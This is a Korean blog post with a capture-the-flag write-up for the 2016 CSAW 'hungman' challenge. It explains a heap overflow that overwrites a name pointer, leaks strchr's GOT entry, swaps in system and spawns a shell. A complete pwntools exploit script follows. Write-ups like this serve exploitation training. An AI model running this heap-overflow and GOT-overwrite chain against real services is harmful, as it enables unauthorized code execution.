튜기's blogggg

2016 CSAW CTF hungman

by St1tch


크게 두 개의 함수가 존재한다.

한개는 유저 구조체를 init하는 함수이고,

한개는 이상한? 게임을 진행하고 기존의 점수보다 높으면 이름을 수정할 수 있는 그런 함수이다.




위 함수에서 이름이 저장되는 heap주소가, user_info 구조체의 힙주소보다 낮은주소에 위치한다는 것을 기억해야한닷

코드를 보고 대충의 구조체를 알아낼 수 있따.



score는 이상한 게임을 하는 함수를 보면 처음 4바이트에 저장되는것을 알 수 있다.






상한 게임을 진행하는 함수의 마지막 부분인데,  여기서 취약점이 발생한다.

만약 현재 score보다 높은점수를 게임을 통해 획득하면, 이름을 바꿀 수 있게되는데,

malloc을 통해 기존의 name의 길이보다 더 큰 크기의 메모리를 할당 받을 수 있다.

user_info 자체의 힙영역의 주소는 고정되있기 때문에, 

처음에 입력한 이름의 길이보다 더 길게 바꾸게 되면,  user_info+8에 존재하는 &name을 바꿀 수 있다.


게임에서 높은점수를 얻는건 쉽다. 

적당히 길게 이름을 정하고 적당히 소문자 몇개를 보내면 high score를 얻을 수 있다.


&name값은 snprintf함수를 통해 byte_602100에 저장이 되는데,  &name의 값에 strchr의 got주소를 적게되면 실제주소값을 읽을 수 있다.

이렇게 메모리를 leak하고 난 이후, 오프셋 계산을 통해 system함수의 실제주소를 구할 수 있다.(libc 제공됨)

또 다시 높은 점수를 얻게되면 memcpy함수를 통해 strchr의 got를 system함수의 실제주소로 바꿀 수 있고, 

마지막으로 다시 한번 점수를 더 얻게되면, /bin/sh문자열을 입력함으로써

결과적으로 system("/bin/sh") 함수가 실행이 됨으로써 쉘을 획득할 수 있다.





from pwn import *
import stitch

local = False
if local :
    s = remote('localhost', 9988)
    raw_input()
else :
    s = remote('pwn.chal.csaw.io', 8003)

def play_game(_str) :
    s.recvuntil('_\n')
    p = log.progress('play game! ')
    for i in _str :
        p.status('send %s '%(i))
        s.sendline(i)
        s.recvuntil('\n')

    p.status('quitng game!')
    while True :
        s.sendline('a')
        sleep(0.5)
        tmp = s.recv(1024)
        if bool(re.search('name?', tmp)) :
            break

    p.success('end!')
    s.sendline('y')
    sleep(1)

def solve() :
    p = log.progress('Status -> ')

    s.recvuntil('\n')
    s.sendline('a' * 100)
    #1
    p.status('strchr got.plt leak.')
    play_game('abcdefg')

    got_strchr = 0x602038
    pay = 'a' * (0x80 - 0x10)
    pay += p32(0)  #score
    pay += p32(50)  #len_name
    pay += p64(got_strchr)
    s.send(pay)

    strchr = int(s.recvuntil('?').split(':')[1][1:7][::-1].encode('hex'), 16) - 48
    offset = strchr - 0x89050
    system = offset + 0x45380

    log.info('strchr = ' + hex(strchr))
    log.info('system = ' + hex(system))
    #2
    p.status('strchr_got overwrite.')
    s.sendline('y')
    play_game('a')

    pay = p64(system)
    s.send(pay)
    s.recvuntil('?')
    #3
    p.status('execute shell.')
    s.sendline('y')
    play_game('abcdefg')

    pay = '/bin/sh'
    s.send(pay)

    p.success('Get Shell!')
    s.interactive()

if __name__ == '__main__' :
    solve()




블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기